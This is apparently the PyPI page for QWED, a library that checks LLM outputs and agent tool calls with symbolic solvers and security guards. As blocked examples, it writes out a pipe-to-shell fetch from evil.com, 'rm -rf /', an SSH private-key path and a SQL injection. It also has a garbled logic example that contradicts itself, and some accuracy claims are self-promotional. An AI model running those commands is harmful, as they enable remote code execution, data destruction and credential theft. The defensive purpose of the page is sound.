Skip to main content

The Deterministic Verification Protocol for AI - 11 verification engines for math, logic, code, SQL, facts, images, and more. Now with Agentic Security Guards.

Project description

QWED Logo - AI Verification Engine

QWED Protocol

Model-Agnostic Trust Boundary for AI Systems

QWED Verification - Production-grade deterministic trust boundary for LLMs, AI agents, and tool-driven systems. Works with ANY LLM - OpenAI, Anthropic, Gemini, Llama (via Ollama), or any local model. Detect and prevent AI hallucinations through multiple verification engines โ€ข agentic security guards โ€ข process determinism. Your LLM, Your Choice, Our Verification.

Don't fix the liar. Verify the lie.
QWED verifies outputs, processes, and tool interactions before they enter production.
QWED does not reduce hallucinations. It makes them irrelevant.

If critical AI output cannot be verified, QWED can block it before production.

๐ŸŒ Model Agnostic: Local ($0) โ€ข Budget ($5/mo) โ€ข Premium ($100/mo) - You choose!

PyPI version Docker Verified License OpenSSF Best Practices Snyk Security Quality Gate Status DOI GitHub stars

NVIDIA Inception Program GitHub Developer Program


๐Ÿ’– Support QWED Development:

Sponsor QWED on GitHub


Twitter LinkedIn Blog


Quick Start ยท ๐Ÿ†• qwed init ยท โšก QWEDLocal ยท The Problem ยท The 11 Engines ยท ๐Ÿ”Œ Integration ยท โšก QWEDLocal ยท ๐Ÿ–ฅ๏ธ CLI ยท ๐Ÿ†“ Ollama (FREE!) ยท ๐Ÿ“– Full Documentation

๐ŸŽฏ Where QWED Fits First

Use QWED when an LLM or AI agent must not guess:

  • Verify AI-generated math, logic, SQL, code, and schemas before execution
  • Protect RAG pipelines against prompt injection and poisoned context
  • Inspect AI agent tool calls before they reach external systems
  • Enforce deterministic process steps in high-stakes workflows

QWED is strongest when AI output touches money, code, tools, policy, or production systems.

โšก One-Line Example

LLM says: DELETE FROM users WHERE id=1 OR 1=1

QWED says: โŒ Blocked โ€” SQL injection detected before execution.


QWED does not just validate answers โ€” it defines what AI is allowed to trust.


โš ๏ธ What QWED Is (and Isn't)

QWED is: An open-source engineering layer that combines symbolic verification, security guards, and deterministic process checks for AI systems.

QWED is NOT: Novel research. We don't claim algorithmic innovation. We claim practical integration for production use cases.

Works when: Developer provides ground truth (expected values, schemas, contracts) and LLM generates structured output.

Doesn't work when: Specs come from natural language, outputs are freeform text, or verification domain is unsupported.

๐Ÿ”ฌ On "Deterministic" Verification

QWED uses deterministic computation (no neural networks, no embeddings, no vibes) wherever possible. Math, Logic, SQL, Code, and Schema engines produce 100% reproducible results using symbolic solvers. For fact-checking, we use TF-IDF (not embeddings) because it's transparent and inspectableโ€”same query always returns same score. For image/reasoning domains that require LLM fallback, we clearly mark outputs as HEURISTIC in the response.

๐Ÿ” Ecosystem Trust & Infrastructure

QWED is supported by leading open-source infrastructure and security ecosystems, ensuring production-grade reliability for AI verification workloads.

Docker Scout Cloudflare CircleCI Build status codecov Sentry

Sponsored & Supported Programs

  • Docker Sponsored Open Source (DSOS) Verified container distribution, Docker Scout security insights, autobuilds, and pull rate-limit removal.
  • Snyk Open Source Security Program Enterprise-grade SAST, dependency scanning, and container vulnerability monitoring.
  • CircleCI Open Source Program Scalable CI/CD pipelines with high-volume build credits.
  • Cloudflare Project Alexandria Edge compute (Workers), CDN, and security infrastructure sponsorship.
  • Sentry Observability, error tracking, and verification risk monitoring.
  • Netlify Open Source Plan Frontend hosting and deployment infrastructure.
  • Mintlify OSS Program Documentation hosting and developer experience tooling.

Why This Matters

Verification infrastructure must itself be verifiable. These ecosystem partnerships ensure that:

  • Containers are securely built and distributed
  • Code is continuously scanned for vulnerabilities
  • Supply chain risks are minimized
  • Verification failures are observable and auditable
  • Deployments scale reliably across environments

QWED's mission is to provide deterministic trust for AI systems โ€” and that trust begins with the infrastructure it runs on.


๐Ÿ“ฆ Installation & Quick Start

Python SDK (PyPI)

pip install qwed
# Note: Installs core engines (Math, Code, Facts).
# For full features (SQL, Logic/Z3, CrossHair):
# pip install "qwed[full]"

Go SDK

go get github.com/QWED-AI/qwed-verification/sdk-go

TypeScript SDK (npm)

npm install @qwed-ai/sdk

Docker

docker pull qwedai/qwed-verification

From Source

git clone https://github.com/QWED-AI/qwed-verification.git
cd qwed-verification
pip install -e .

from qwed_sdk import QWEDClient

client = QWEDClient(api_key="your_key")

# The LLM says: "Derivative of x^2 is 3x" (Hallucination!)
response = client.verify_math(
    query="What is the derivative of x^2?",
    llm_output="3x" 
)

print(response)
# -> โŒ CORRECTED: The derivative is 2x. (Verified by SymPy)

๐Ÿ’ก Want to use QWED locally without our backend? Check out QWEDLocal - works with Ollama (FREE), OpenAI, Anthropic, or any LLM provider.


๐Ÿš€ First-Time Setup: qwed init

The fastest way to get QWED running with your LLM provider:

mkdir my-project && cd my-project
qwed init

What happens:

[QWED] Initializing verification engines...
  [ok] SymPy    math engine ready
  [ok] Z3       logic engine ready
  [ok] AST      code engine ready
  [ok] SQLGlot  sql engine ready

Running verification suite...
  [ok] 2+2=5                    -> BLOCKED
  [ok] x>5 AND x<3              -> UNSAT
  [ok] SELECT * WHERE 1=1       -> BLOCKED
  [ok] eval(user_input)         -> BLOCKED

All engines verified. QWED is operational.

Step 1/3: Select your LLM provider (NVIDIA, OpenAI, Anthropic, Gemini, Custom)
Step 2/3: Enter API key โ€” tested with 5s timeout, stored securely (.env, 0600)
Step 3/3: QWED API key generated โ€” shown once, save it

QWED is ready.

After init, verify your setup:

qwed doctor
[QWED Doctor] Health Report
  [ok] ACTIVE_PROVIDER  openai_compat
  [ok] DATABASE_URL     sqlite:///qwed.db
  [ok] API key          valid (tested)
  [ok] SymPy            math engine ready
  [ok] Z3               logic engine ready
  [ok] SQLGlot          sql engine ready
  [ok] AST              code engine ready

All checks passed.
qwed test     # 12 deterministic tests โ€” all must pass before production
[QWED Test] Running verification suite...
  [pass] Math:   derivative of x^2 โ†’ 2x
  [pass] Math:   integral of x^2 โ†’ x^3/3
  [pass] Logic:  x>5 AND x<3 โ†’ UNSAT
  [pass] SQL:    SELECT * WHERE 1=1 โ†’ BLOCKED
  [pass] Code:   eval(user_input) โ†’ BLOCKED
  ... 7 more
12/12 passed โœ…

Supported providers:

qwed init --provider nvidia     # NVIDIA NIM
qwed init --provider openai     # OpenAI
qwed init --provider anthropic  # Anthropic Claude
qwed init --provider gemini     # Google Gemini
qwed init --provider custom     # Any OpenAI-compatible API

CI/CD friendly โ€” no interactive prompts:

# Using flags
qwed init --non-interactive --provider nvidia

# Using env vars
NVIDIA_API_KEY=xxx qwed init --non-interactive

๐Ÿšจ The LLM Hallucination Problem: Why AI Can't Be Trusted

Everyone is trying to fix AI hallucinations by Fine-Tuning (teaching it more data).

This is like forcing a student to memorize 1,000,000 math problems.

What happens when they see the 1,000,001st problem? They guess.

๐ŸŽฏ Use Cases & Applications

QWED is designed for industries where AI errors have real consequences:

Industry Use Case Risk Without QWED
๐Ÿค– AI Agents Tool-call verification, MCP defense, process checks Unsafe tool execution
๐Ÿฆ Financial Services Transaction validation, fraud detection $12,889 error per miscalculation
๐Ÿฅ Healthcare AI Drug interaction checking, diagnosis verification Patient safety risks
โš–๏ธ Legal Tech Contract analysis, compliance checking Regulatory violations
๐Ÿ“š Educational AI AI tutoring, assessment systems Misinformation to students
๐Ÿญ Manufacturing Process control, quality assurance Production defects

โœ… The Solution: Deterministic Trust Boundary

QWED is an open-source deterministic verification layer combining symbolic solvers and practical security guards for LLM systems.

We combine:

  • Neural Networks (LLMs) for natural language understanding
  • Symbolic Reasoning (SymPy, Z3, AST) for deterministic verification

๐Ÿ›ก๏ธ New in v4: Agent Security

QWED now verifies not only outputs, but agent toolchains:

  • MCP Poison Guard
  • RAGGuard
  • ExfiltrationGuard
  • ProcessVerifier

The Core Philosophy: "The Untrusted Translator"

QWED operates on a strict principle: Don't trust the LLM to compute or judge; trust it only to translate.

Example Flow:

User Query: "If all A are B, and x is A, is x B?"

โ†“ (LLM translates)

Z3 DSL: Implies(A(x), B(x))

โ†“ (Z3 proves)

Result: TRUE (Proven by formal logic)

The LLM is an Untrusted Translator. The Symbolic Engine is the Trusted Verifier.


๐Ÿ’ก How QWED Compares: The "Orchestrator" Strategy

We don't reinvent the wheel. We unify the best symbolic engines into a single LLM-Verification Layer.

QWED vs Point Solutions (Libraries)

QWED wraps best-in-class libraries, abstracting their complex DSLs into a simple natural language interface for LLMs.

Library Domain QWED's Role
Pandera Dataframe Validation Orchestrator: QWED uses Pandera for verify_data schema checks.
CrossHair Code Contracts Orchestrator: QWED uses CrossHair for formal python verification.
SymPy Symbolic Math Orchestrator: QWED translates "Derivative of x^2" โ†’ SymPy execution.
Z3 Prover Theorem Proving Orchestrator: QWED translates logical paradoxes โ†’ Z3 constraints.

QWED vs AI Guardrails (Frameworks)

Feature QWED Protocol NeMo Guardrails LangChain Evaluators
The "Judge" Deterministic Solver (Z3/SymPy) Semantic Matcher (Embeddings) Another LLM (GPT-4)
Mechanism Translation to DSL Vector Similarity Prompt Engineering
Verification Type Mathematical Proof Policy Adherence Consensus/Opinion
False Positives ~0% (Logic-based) Medium (Semantic drift) High (Subjectivity)
Privacy โœ… 100% Local โŒ Cloud-based (usually) โŒ Cloud-based

QWED differs because it provides PROOF, not just localized safety checks.


๐Ÿ”ฌ The Verification Engines

QWED routes queries to specialized engines that act as DSL interpreters:

โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚  User Query  โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
       โ”‚
       โ–ผ
โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚  LLM (The Translator)  โ”‚
โ”‚  "Translate to Math"   โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
       โ”‚ DSL / Code
       โ–ผ
โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚      QWED Protocol          โ”‚
โ”‚  (Zero-Trust Verification)  โ”‚
โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค
โ”‚ ๐Ÿงฎ SymPy   โš–๏ธ Z3   ๐Ÿ›ก๏ธ AST   โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
       โ”‚ Proof / Result
   โ”Œโ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”
   โ–ผ       โ–ผ
โŒ Reject โœ… Verified
           โ”‚
           โ–ผ
  โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
  โ”‚ Your Applicationโ”‚
  โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜

QWED ๐Ÿ†š Traditional AI Safety Approaches

Approach Accuracy Deterministic Explainable Best For
QWED Verification โœ… 99%+ โœ… Yes โœ… Full trace Production AI
Fine-tuning / RLHF โš ๏ธ ~85% โŒ No โŒ Black box General improvement
RAG (Retrieval) โš ๏ธ ~80% โŒ No โš ๏ธ Limited Knowledge grounding
Prompt Engineering โš ๏ธ ~70% โŒ No โš ๏ธ Limited Quick fixes
Guardrails โš ๏ธ Variable โŒ No โš ๏ธ Reactive Content filtering

QWED doesn't replace these - it complements them with mathematical certainty.


๐Ÿ”ฌ The Verification Engines: Examples

QWED routes queries to specialized engines that act as DSL interpreters.

1. ๐Ÿงฎ Math Verifier (SymPy)

Use Case: Financial logic, Physics, Calculus.

# LLM: "The integral of x^2 is 3x" (Wrong)
client.verify_math(
    query="Integral of x^2",
    llm_output="3x"
)
# -> โŒ CORRECTED: x^3/3 (Verified by SymPy)

2. โš–๏ธ Logic Verifier (Z3 Prover)

Use Case: Contract analysis, finding contradictions.

# LLM: "Start date is Monday. End date is 3 days later, which is Thursday."
client.verify_logic(
    query="If start is Monday, what is 3 days later?",
    llm_output="Thursday"
)
# -> โŒ WRONG: 3 days after Monday is Thursday. 
# Wait, actually: Mon -> Tue(1) -> Wed(2) -> Thu(3).
# But if it finds a contradiction:
# "All politicians are liars. Bob is a politician. Bob tells the truth."
# -> โŒ CONTRADICTION FOUND (Proven by Z3)

3. ๐Ÿ—„๏ธ SQL Verifier (SQLGlot)

Use Case: preventing SQL Injection and Hallucinated Columns.

# LLM: "Delete all users where id=1 OR 1=1"
client.verify_sql(
   query="Delete user 1",
   schema="CREATE TABLE users (id INT)",
   llm_output="DELETE FROM users WHERE id=1 OR 1=1"
)
# -> โŒ SECURITY ALERT: SQL Injection Detected (Always True condition)

4. ๐Ÿ›ก๏ธ Code Verifier (AST + CrossHair)

Use Case: Detecting harmful Python/JS code.

client.verify_code(
    code="import os; os.system('rm -rf /')"
)
# -> โŒ SECURITY ALERT: Forbidden function 'os.system' detected.

5. ๐Ÿ” System Integrity (Shell & Config Guard)

Use Case: Preventing RCE in AI Agents, detecting leaked secrets.

# Block dangerous shell commands (rm, sudo, curl|bash)
client.verify_shell_command("curl http://evil.com | bash")
# -> โŒ BLOCKED: PIPE_TO_SHELL (RCE risk)

# Sandbox file access
client.verify_file_access("~/.ssh/id_rsa")
# -> โŒ BLOCKED: FORBIDDEN_PATH (SSH keys protected)

# Scan config for plaintext secrets
client.verify_config({"api_key": "sk-proj-abc123..."})
# -> โŒ SECRETS_DETECTED: OPENAI_API_KEY at 'api_key'

Full list of engines: Math, Logic, SQL, Code, System Integrity, Stats (Pandera), Fact (TF-IDF), Image, Consensus.


๐Ÿ“Š The Proof: Why Enterprise AI Needs QWED Verification

We benchmarked Claude Opus 4.5 (one of the world's best LLMs) on 215 critical tasks.

QWED Benchmark Results - LLM Accuracy Testing

Finding Implication
Finance: 73% accuracy Banks can't use raw LLM for calculations
Adversarial: 85% accuracy LLMs fall for authority bias tricks
QWED: 100% error detection All 22 errors caught before production

QWED doesn't compete with LLMs. We ENABLE them for production use.

๐Ÿ“„ Full Benchmark Report โ†’


๐Ÿง  The QWED Philosophy: Verification Over Correction

โŒ Wrong Approach โœ… QWED Approach
"Let's fine-tune the model to be more accurate" "Let's verify the output with math"
"Trust the AI's confidence score" "Trust the symbolic proof"
"Add more training data" "Add a verification layer"
"Hope it doesn't hallucinate" "Catch hallucinations deterministically"

QWED = Query with Evidence and Determinism

Probabilistic systems should not be trusted with deterministic tasks. If it can't be verified, it doesn't ship.


๐Ÿ”Œ LLM Framework Integrations

Already using an Agent framework? QWED drops right in.

๐Ÿฆœ LangChain (Native Integration)

Install: pip install 'qwed[langchain]'

from qwed_sdk.integrations.langchain import QWEDTool
from langchain.agents import initialize_agent
from langchain_openai import ChatOpenAI

# Initialize QWED verification tool
tool = QWEDTool(provider="openai", model="gpt-4o-mini")

# Add to your agent
llm = ChatOpenAI()
agent = initialize_agent(tools=[tool], llm=llm)

# Agent automatically uses QWED for verification
agent.run("Verify: what is the derivative of x^2?")

๐Ÿค– CrewAI

from qwed_sdk.integrations.crewai import QWEDVerifiedAgent

agent = QWEDVerifiedAgent(role="Analyst", verify_math=True)

๐Ÿฆ™ LlamaIndex

from qwed_sdk.integrations.llamaindex import QWEDQueryEngine

# Add Fact Guard verification to any query engine
verified_engine = QWEDQueryEngine(base_engine, verify_facts=True)

๐Ÿ”’ Security & Privacy

In high-stakes industries (Finance, Legal, Healthcare), you cannot send sensitive data to an external API for verification.

QWED is designed for Zero-Trust environments:

  • 100% Local Execution: QWED runs inside your infrastructure (Docker/Kubernetes). Data never leaves your VPC.
  • Privacy Shield (New): Built-in PII Masking redacts Credit Cards, SSNs, and Emails before they touch the LLM.
  • No "Model Training": We do not train on your data. QWED is a deterministic code execution engine, not a generative model.
  • Audit Logs: Every verification generates a cryptographically signed receipt (JWT) proving that the check passed.

"Don't trust the AI. Trust the Code."


๐Ÿ›๏ธ Authority Verification (Phase 9)

  • No More Fake Cases: CitationGuard (Legal) verifies legal citations against valid reporter formats (e.g., Bluebook).
  • Banking Ready: ISOGuard (Finance) ensures AI payments meet ISO 20022 standards.
  • Ethical AI: DisclaimerGuard (Core) enforces safety warnings in regulated outputs.

๐Ÿ—บ๏ธ Roadmap

We are building the Universal Verification Standard for the agentic web.

  • v4.0 (Live): Agentic Security Guards (MCP, RAG, Exfiltration), Process Determinism, and Core Engines.
  • Q2 2026 - v4.1: QWED Client-Side (WebAssembly) enables verification in the browser.
  • Q3 2026 - v4.2: Distributed Verification Network introduces a decentralized network of verifier nodes.

๐ŸŒ The QWED Ecosystem

QWED verification is available as specialized packages for different industries:

๐Ÿ“ฆ Packages

Package Description Install Repo
qwed Core verification + security guards pip install qwed GitHub
qwed-finance ๐Ÿฆ Banking, loans, NPV, ISO 20022 pip install qwed-finance GitHub
qwed-legal ๐Ÿ›๏ธ Contracts, deadlines, citations, jurisdiction pip install qwed-legal GitHub
qwed-infra โ˜๏ธ IaC verification (Terraform, IAM, Cost) pip install qwed-infra GitHub
qwed-ucp ๐Ÿ›’ E-commerce cart/transaction verification pip install qwed-ucp GitHub
qwed-mcp ๐Ÿ”Œ Claude Desktop MCP integration pip install qwed-mcp GitHub
open-responses ๐Ÿค– OpenAI Responses API + QWED guards pip install qwed-open-responses GitHub
qwed-tax ๐Ÿ’ธ Tax compliance & withholding verification middleware pip install qwed-tax GitHub

๐ŸŽฌ GitHub Actions

Use QWED verification in your CI/CD pipelines:

# Secret Scanning - Detect leaked API keys
- uses: QWED-AI/qwed-verification@v3
  with:
    action: scan-secrets
    paths: "**/*.env,**/*.json"

# Code Security - Find dangerous patterns (eval, exec, subprocess)
- uses: QWED-AI/qwed-verification@v3
  with:
    action: scan-code
    paths: "**/*.py"
    output_format: sarif  # Integrates with GitHub Security tab

# Shell Script Linting - Block RCE patterns (curl|bash, rm -rf)
- uses: QWED-AI/qwed-verification@v3
  with:
    action: verify-shell
    paths: "**/*.sh"

# LLM Output Verification (Math, Logic, Code)
- uses: QWED-AI/qwed-verification@v3
  with:
    action: verify
    engine: math
    query: "Integral of x^2"
    llm_output: "x^3/3"
Action Use Case Marketplace
QWED-AI/qwed-verification@v3 NEW! Secret scanning, code analysis, SARIF output View
QWED-AI/qwed-legal@v0.2.0 Contract deadline, jurisdiction, citations View
QWED-AI/qwed-finance@v1 NPV, loan calculations, compliance View
QWED-AI/qwed-ucp@v1 E-commerce transactions View

๐ŸŽ“ Free Course on AI Verification

Learning Path: From Zero to Production-Ready AI Verification

Course

  • ๐Ÿ’ก Artist vs. Accountant: Why LLMs are creative but terrible at math
  • ๐Ÿงฎ Neurosymbolic AI: How deterministic verification catches errors
  • ๐Ÿ—๏ธ Production Patterns: Build guardrails that actually work
  • ๐Ÿฆœ Framework Integration: LangChain, LlamaIndex, and more

๐Ÿš€ Start the Free Course โ†’

๐Ÿ“– Full Ecosystem Documentation


๐ŸŒ Multi-Language SDK Support

Language Package Status
๐Ÿ Python qwed โœ… Available on PyPI
๐ŸŸฆ TypeScript @qwed-ai/sdk โœ… Available on npm
๐Ÿน Go qwed-go โœ… Available
๐Ÿฆ€ Rust qwed โœ… Available on crates.io
# Python
pip install qwed

# Go
go get github.com/QWED-AI/qwed-verification/sdk-go

# TypeScript
npm install @qwed-ai/sdk

# Rust
cargo add qwed

๐ŸŽฏ Real Example: The $12,889 Bug

User asks AI: "Calculate compound interest: $100K at 5% for 10 years"

GPT-4 responds: "$150,000"
(Used simple interest by mistake)

With QWED:

response = client.verify_math(
    query="Compound interest: $100K, 5%, 10 years",
    llm_output="$150,000"
)
# -> โŒ INCORRECT: Expected $162,889.46
#    Error: Used simple interest formula instead of compound

Cost of not verifying: $12,889 error per transaction ๐Ÿ’ธ


๐Ÿง‘โ€๐Ÿ’ป Development & Testing

Building from Source

# Clone and install in development mode
git clone https://github.com/QWED-AI/qwed-verification.git
cd qwed-verification
pip install -e ".[dev]"

Running Tests

# Run all tests
pytest tests/ -v

# Run with coverage
pytest tests/ -v --cov=src/qwed_new --cov-report=html

# Run specific test file
pytest tests/test_math_verifier.py -v

Static Analysis & Linting

QWED uses multiple tools for code quality:

# Type checking
mypy src/

# Linting
ruff check src/

# Security scanning (Snyk integration in CI)
# See .github/workflows/ci.yml

Continuous Integration

All PRs run through GitHub Actions:

  • โœ… Unit tests (Python 3.10, 3.11, 3.12)
  • โœ… Type checking (mypy)
  • โœ… Security scanning (Snyk, CodeRabbit)
  • โœ… Coverage reporting (Codecov)

See .github/workflows/ci.yml for details.


โ“ Frequently Asked Questions

Q: Is QWED for AI agents or only LLM outputs?

A: Both. QWED started as deterministic output verification and now includes trust guards for agent toolchains, RAG pipelines, and process validation.

Q: How does QWED differ from RAG (Retrieval Augmented Generation)?

A: RAG improves the input to the LLM by grounding it in documents. QWED verifies the output deterministically. RAG adds knowledge; QWED adds certainty.

Q: Can QWED work with any LLM?

A: Yes! QWED is model-agnostic and works with GPT-4, Claude, Gemini, Llama, Mistral, and any other LLM. We verify outputs, not models.

Q: Does QWED replace fine-tuning?

A: No. Fine-tuning makes models better at tasks. QWED verifies they got it right. Use both.

Q: Is QWED open source?

A: Yes! Apache 2.0 license. Enterprise features (audit logs, multi-tenancy) are in a separate repo.

Q: What's the latency overhead?

A: Typically <100ms for most verifications. Math and logic proofs are instant. Consensus checks take longer (multiple API calls).

Q: Do I need to run qwed init every time?

A: No. Once initialized, QWED reads from .env. Re-run only when changing providers or rotating keys.


๐Ÿ“š Documentation & Resources

Main Documentation:

Resource Description
๐Ÿ“– Full Documentation Complete API reference and guides
๐Ÿ”ง API Reference Endpoints and schemas
โšก QWEDLocal Guide Client-side verification setup
๐Ÿ–ฅ๏ธ CLI Reference Command-line interface
๐Ÿ”’ PII Masking Guide HIPAA/GDPR compliance
๐Ÿ†“ Ollama Integration Free local LLM setup

Project Documentation:

Resource Description
๐Ÿ“Š Benchmarks LLM accuracy testing results
๐Ÿ—บ๏ธ Project Roadmap Future features and timeline
๐Ÿ“‹ Changelog Version history summary
๐Ÿ“œ Release Notes Detailed version release notes
๐ŸŽฌ GitHub Action Guide CI/CD integration
๐Ÿ—๏ธ Architecture System design and engine internals

Community:

Resource Description
๐Ÿค Contributing Guide How to contribute to QWED
GOVERNANCE.md Project governance & roles
ROADMAP.md Future plans & vision
๐Ÿ“œ Code of Conduct Community guidelines
๐Ÿ”’ Security Policy Reporting vulnerabilities
๐Ÿ“– Citation Academic citation format

๐Ÿข Enterprise Features

Need observability, multi-tenancy, audit logs, or compliance exports?

๐Ÿ“ง Contact: rahul@qwedai.com


๐Ÿ“„ License

Apache 2.0 - See LICENSE


โญ Star History

Star History Chart

If chart doesn't load, click here for alternatives

Current Stars: GitHub stars

View trend: Star History Page


๐Ÿ‘ฅ Contributors

QWED Contributors

๐Ÿ“„ Citation

If you use QWED in your research or project, please cite our archived paper:

@software{dass2025qwed,
  author = {Dass, Rahul},
  title = {QWED Protocol: Deterministic Verification for Large Language Models},
  year = {2025},
  publisher = {Zenodo},
  version = {v1.0.0},
  doi = {10.5281/zenodo.18110785},
  url = {https://doi.org/10.5281/zenodo.18110785}
}

Plain text:

Dass, R. (2025). QWED Protocol: Deterministic Verification for Large Language Models (Version v1.1.0). Zenodo. https://doi.org/10.5281/zenodo.18110785


โœ… Using QWED in Your Project?

Add these badges to your README to show you're using verified AI:

Badge Variants

Badge Use Case Markdown
Verified by QWED General - Any QWED integration See below
100% Deterministic Math/Logic/Code/SQL/Schema - No LLM fallback See below
AI + Verification Fact/Image/Consensus - Hybrid approach See below

Markdown Code

General Badge:

[![Verified by QWED](https://img.shields.io/badge/Verified_by-QWED-00C853?style=flat&logo=checkmarx)](https://github.com/QWED-AI/qwed-verification#%EF%B8%8F-what-does-verified-by-qwed-mean)

100% Deterministic (for Math, Logic, Code, SQL, Schema engines):

[![100% Deterministic](https://img.shields.io/badge/100%25_Deterministic-QWED-0066CC?style=flat&logo=checkmarx)](https://docs.qwedai.com/docs/engines/overview#deterministic-first-philosophy)

AI + Verification (for Fact, Image, Consensus engines):

[![AI + Verification](https://img.shields.io/badge/AI_%2B_Verification-QWED-9933CC?style=flat&logo=checkmarx)](https://docs.qwedai.com/docs/engines/overview#deterministic-first-philosophy)

These badges tell users exactly what level of verification your application uses.

๐Ÿ›ก๏ธ What does "Verified by QWED" mean?

When you see the [Verified by QWED] badge on a repository or application, it is a technical guarantee, not a marketing claim.

It certifies that the software adheres to the QWED Protocol for AI Safety:

  1. The Zero-Hallucination Warranty: The application does not rely on LLM probabilities for Math, Logic, or Code. It uses Deterministic Engines (SymPy, Z3, AST) to prove correctness before outputting data.

  2. The "Untrusted Translator" Architecture: The system treats the LLM solely as a translator (Natural Language โ†’ DSL), never as a judge. If the translation cannot be mathematically proven, the system refuses to answer rather than guessing.

  3. Cryptographic Accountability: The application generates JWT-based Attestations (ES256 signatures) for its critical operations. Every "Verified" output comes with a cryptographic receipt proving a solver validated it.

In short: The badge means "We don't trust the AI. We trust the Math."


๐Ÿ™ Contributors Wanted

We're actively looking for contributors! Whether you're a first-timer or experienced developer, there's a place for you.

Good First Issues Help Wanted

๐ŸŽฏ Ways to Contribute

Area What We Need
๐Ÿงช Testing Add test cases for edge scenarios
๐Ÿ“ Docs Improve examples and tutorials
๐ŸŒ i18n Translate docs to other languages
๐Ÿ”ง SDKs Enhance Go/Rust/TypeScript SDKs
๐Ÿ› Bugs Fix issues or report new ones

โ†’ Read CONTRIBUTING.md | โ†’ Browse Good First Issues


โญ Star us if you believe AI needs verification

GitHub Stars



Ready to trust your AI?

"Safe AI is the only AI that scales."


Contribute ยท Architecture ยท Security ยท Documentation

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

qwed-5.0.0.tar.gz (2.0 MB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

qwed-5.0.0-py3-none-any.whl (338.4 kB view details)

Uploaded Python 3

File details

Details for the file qwed-5.0.0.tar.gz.

File metadata

  • Download URL: qwed-5.0.0.tar.gz
  • Upload date:
  • Size: 2.0 MB
  • Tags: Source
  • Uploaded using Trusted Publishing? Yes
  • Uploaded via: twine/6.1.0 CPython/3.13.7

File hashes

Hashes for qwed-5.0.0.tar.gz
Algorithm Hash digest
SHA256 11117d0473762d91b9900f32ee76b3b5e5c62b6632fe5e77a95a0cd4032903a4
MD5 ce0b93bcb42c0566388ab8a65fb873a6
BLAKE2b-256 43e8dfcab95c401553c81165fefbcc4c142ee66866cc44065e85bf18d6ed0d39

See more details on using hashes here.

Provenance

The following attestation bundles were made for qwed-5.0.0.tar.gz:

Publisher: publish.yml on QWED-AI/qwed-verification

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file qwed-5.0.0-py3-none-any.whl.

File metadata

  • Download URL: qwed-5.0.0-py3-none-any.whl
  • Upload date:
  • Size: 338.4 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? Yes
  • Uploaded via: twine/6.1.0 CPython/3.13.7

File hashes

Hashes for qwed-5.0.0-py3-none-any.whl
Algorithm Hash digest
SHA256 6f498ff4f9c02c0ae1e70e1e7a7333c44db02d9eb7a4dd6624a6f5aeedbb9547
MD5 ce6787ff7d32e6cb9957fe692aa52755
BLAKE2b-256 a61867e0205f66232d096804257f54aaf7a56ad6b26e4f808ca22da24b6f6ca6

See more details on using hashes here.

Provenance

The following attestation bundles were made for qwed-5.0.0-py3-none-any.whl:

Publisher: publish.yml on QWED-AI/qwed-verification

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page